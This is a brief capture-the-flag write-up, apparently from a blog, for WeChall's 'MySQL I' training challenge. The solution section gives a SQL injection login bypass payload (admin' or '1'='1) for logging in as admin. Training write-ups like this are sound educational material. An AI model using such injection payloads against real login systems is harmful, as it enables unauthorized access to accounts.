[WeChall] Training: MySQL I (MySQL, Exploit, Training)

Training: MySQL I (MySQL, Exploit, Training)
MySQL Authentication Bypass - The classic
This one is the classic mysql injection challenge.
Your mission is easy: Login yourself as admin.
Again you are given the sourcecode, also as highlighted version.
Enjoy!

原题地址：http://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php

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题解：

username: admin' or '1'='1
passowrd: anyone